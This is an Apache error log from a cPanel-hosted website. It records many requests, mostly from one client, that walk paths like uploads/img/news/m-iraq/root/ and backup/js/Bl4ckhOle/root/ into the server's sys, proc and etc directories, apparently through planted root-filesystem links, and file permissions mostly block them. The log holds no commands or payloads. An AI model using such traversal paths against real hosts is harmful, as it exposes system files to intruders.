[Fri Jul 17 08:21:27.511566 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:27.809406 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup12/device/subsystem/drivers/hpet/bind
[Fri Jul 17 08:21:28.512186 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:28.787844 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:29.083527 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:29.265088 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:29.813115 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:30.086349 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:30.179912 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:30.269972 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:30.358222 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/thermal/bind
[Fri Jul 17 08:21:30.449873 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/tty/ttyS0/device/driver/bind
[Fri Jul 17 08:21:30.546174 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:30.818067 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:31.005652 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:31.371282 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:31.372256 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS1/power/"] [unique_id "almYswPhWp7RzB65h36dpAAAAA0"]
[Fri Jul 17 08:21:31.372282 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS1/power/"] [unique_id "almYswPhWp7RzB65h36dpAAAAA0"]
[Fri Jul 17 08:21:31.757096 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:31.835962 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:31.837485 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:21:31.928330 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:32.020149 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:32.385779 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:32.843652 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:32.862660 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:54198] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:32.939899 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:33.271632 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/ata_piix/bind
[Fri Jul 17 08:21:33.362696 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:33.460490 2026] [proxy_fcgi:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:21:33.573210 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:33.682272 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:33.724659 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:33.755281 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1f/subsystem/drivers/ec/unbind
[Fri Jul 17 08:21:33.844233 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.82.49.118:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/devices/0000:00:03.0/resource4_wc
[Fri Jul 17 08:21:33.846838 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:33.880759 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.028429 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/drivers/hpet/bind
[Fri Jul 17 08:21:34.119965 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.145342 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.178319 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.207585 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.295310 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.394923 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.405136 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.441326 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.485578 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.486218 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty60/subsystem/tty21/power/"] [unique_id "almYto1dLClkUfK_dfHggwAAAAI"]
[Fri Jul 17 08:21:34.486246 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty60/subsystem/tty21/power/"] [unique_id "almYto1dLClkUfK_dfHggwAAAAI"]
[Fri Jul 17 08:21:34.520662 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:34.556122 2026] [proxy_fcgi:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:21:34.580796 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 08:21:34.669651 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.013601 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.015868 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.020360 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.021243 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.061065 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.140101 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/sudoers.d/' is executable
[Fri Jul 17 08:21:35.168664 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/nftables/' is executable
[Fri Jul 17 08:21:35.213742 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/imunify-agent-proxy/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/imunify-agent-proxy/' is executable
[Fri Jul 17 08:21:35.213800 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.304970 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.365890 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/grub.d/' is executable
[Fri Jul 17 08:21:35.365990 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/csf/' is executable
[Fri Jul 17 08:21:35.395327 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0d/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 08:21:35.475769 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/cmq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/cmq/' is executable
[Fri Jul 17 08:21:35.486982 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.519053 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.82.55.177:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/rescan
[Fri Jul 17 08:21:35.537638 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.578901 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.671372 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.724278 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/pam_imunify/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/pam_imunify/' is executable
[Fri Jul 17 08:21:35.780430 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/named/' is executable
[Fri Jul 17 08:21:35.912152 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/audit/' is executable
[Fri Jul 17 08:21:35.912416 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/sssd/' is executable
[Fri Jul 17 08:21:35.943999 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:35.990931 2026] [core:crit] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/firewalld/' is executable
[Fri Jul 17 08:21:36.093289 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:36.226293 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:36.409129 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:36.500680 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:36.805326 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:36.878981 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.023887 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.035302 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.143271 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.338137 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.427037 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.445977 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.569759 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.631193 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:54318] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:37.790777 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.881698 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.973158 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:37.989123 2026] [ssl:error] [pid 1993604:tid 1993604] (5)Input/output error: [client 66.85.158.91:54330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:38.021446 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.064367 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/ttyS0/irq
[Fri Jul 17 08:21:38.247435 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/rtc/rtc0/device/driver/unbind
[Fri Jul 17 08:21:38.415725 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.430016 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.487107 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.618366 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.682807 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.789204 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.802503 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/ACPI0010:00/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 08:21:38.890227 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.895115 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:38.946635 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:39.005774 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:39.030339 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:39.045242 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:39.086931 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:39.360328 2026] [security2:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty57/power/control"] [unique_id "almYu3t8zp89pALg8Q5kIAAAAA4"]
[Fri Jul 17 08:21:39.360369 2026] [security2:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty57/power/control"] [unique_id "almYu3t8zp89pALg8Q5kIAAAAA4"]
[Fri Jul 17 08:21:39.546235 2026] [autoindex:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/etc/apache2/logs/
[Fri Jul 17 08:21:40.267132 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.375141 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty58/subsystem/ttyS1/uartclk
[Fri Jul 17 08:21:40.471157 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/32-0/position
[Fri Jul 17 08:21:40.563579 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.628046 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.654715 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.674925 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.746114 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.795376 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.837297 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:40.930294 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:41.024732 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:41.198049 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:54442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:41.227544 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:41.409849 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:41.778704 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:41.782000 2026] [proxy_fcgi:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:21:41.889307 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:42.027937 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:42.275863 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:42.338669 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:42.403925 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:59156] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:42.636434 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:42.727071 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:42.999988 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:43.001380 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/PNP0A03:00/device:0c/"] [unique_id "almYvqUJv0yl2bIgVrkMcgAAABU"]
[Fri Jul 17 08:21:43.001402 2026] [security2:error] [pid 2002425:tid 2002425] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/devices/PNP0A03:00/device:0c/"] [unique_id "almYvqUJv0yl2bIgVrkMcgAAABU"]
[Fri Jul 17 08:21:43.091741 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:43.241625 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:43.547321 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:43.822253 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:44.240201 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:59242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:44.400025 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:47.597901 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:59398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:48.832263 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:59412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:02.246723 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:02.301961 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:02.476545 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:02.568273 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:02.658491 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:02.840718 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:02.932913 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:03.204602 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:03.386680 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 3.14.69.207:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:04/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 08:22:03.478270 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:03.569924 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:03.659187 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
